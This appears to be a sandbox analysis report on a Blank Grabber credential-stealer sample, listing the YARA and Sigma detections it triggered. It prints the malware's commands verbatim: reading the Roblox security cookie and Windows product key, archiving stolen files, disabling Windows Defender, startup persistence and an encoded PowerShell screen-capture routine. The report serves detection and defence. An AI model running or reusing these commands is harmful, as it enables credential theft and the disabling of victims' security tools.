cmd.exe (PID: 7620 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 6996 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 3032 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7396 cmdline: powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 8084 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 4340 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 6684 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7228 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7644 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8124 cmdline: powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6828 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\_MEI33962\rar.exe a -r -hp"Cribry10" "C:\Users\user~1\AppData\Local\Temp\aaDHy.zip" *" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rar.exe (PID: 2564 cmdline: C:\Users\user~1\AppData\Local\Temp\_MEI33962\rar.exe a -r -hp"Cribry10" "C:\Users\user~1\AppData\Local\Temp\aaDHy.zip" * MD5: 9C223575AE5B9544BC3D69AC6364F75E)

cmd.exe (PID: 4232 cmdline: C:\Windows\system32\cmd.exe /c "wmic os get Caption" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 6836 cmdline: wmic os get Caption MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 5896 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7652 cmdline: wmic computersystem get totalphysicalmemory MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8060 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7220 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7152 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7264 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7780 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 7892 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 5900 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7760 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\_MEI33962\rarreg.key	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000007.00000003.1686994735.000001E7C3B87000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000007.00000003.1689633424.000001E7C39E2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000007.00000002.1709310873.000001E7C39E3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000004.00000003.1275666676.000001FB29EE5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000007.00000002.1694660659.000001E7C2B80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000004.00000003.1275666676.000001FB29EE3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000007.00000003.1689985178.000001E7C39E2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: X9g8L63QGs.exe PID: 3396	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: X9g8L63QGs.exe PID: 3800	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: X9g8L63QGs.exe PID: 3800	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: X9g8L63QGs.exe PID: 3800	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 6 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\X9g8L63QGs.exe", ParentImage: C:\Users\user\Desktop\X9g8L63QGs.exe, ParentProcessId: 3800, ParentProcessName: X9g8L63QGs.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\X9g8L63QGs.exe'", ProcessId: 1476, ProcessName: cmd.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\X9g8L63QGs.exe", ParentImage: C:\Users\user\Desktop\X9g8L63QGs.exe, ParentProcessId: 3800, ParentProcessName: X9g8L63QGs.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ProcessId: 1260, ProcessName: cmd.exe

Sigma detected: Rar Usage with Password and Compression Level

Source: Process started

Author: @ROxPinTeddy: Data: Command: C:\Windows\system32\cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\_MEI33962\rar.exe a -r -hp"Cribry10" "C:\Users\user~1\AppData\Local\Temp\aaDHy.zip" *", CommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\_MEI33962\rar.exe a -r -hp"Cribry10" "C:\Users\user~1\AppData\Local\Temp\aaDHy.zip" *", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\X9g8L63QGs.exe", ParentImage: C:\Users\user\Desktop\X9g8L63QGs.exe, ParentProcessId: 3800, ParentProcessName: X9g8L63QGs.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\_MEI33962\rar.exe a -r -hp"Cribry10" "C:\Users\user~1\AppData\Local\Temp\aaDHy.zip" *", ProcessId: 6828, ProcessName: cmd.exe

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\wbem\WMIC.exe, SourceProcessId: 6836, StartAddress: 2B6F32B0, TargetImage: C:\Windows\System32\systeminfo.exe, TargetProcessId: 6836

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Suspicious Startup Folder Persistence

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\X9g8L63QGs.exe, ProcessId: 3800, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

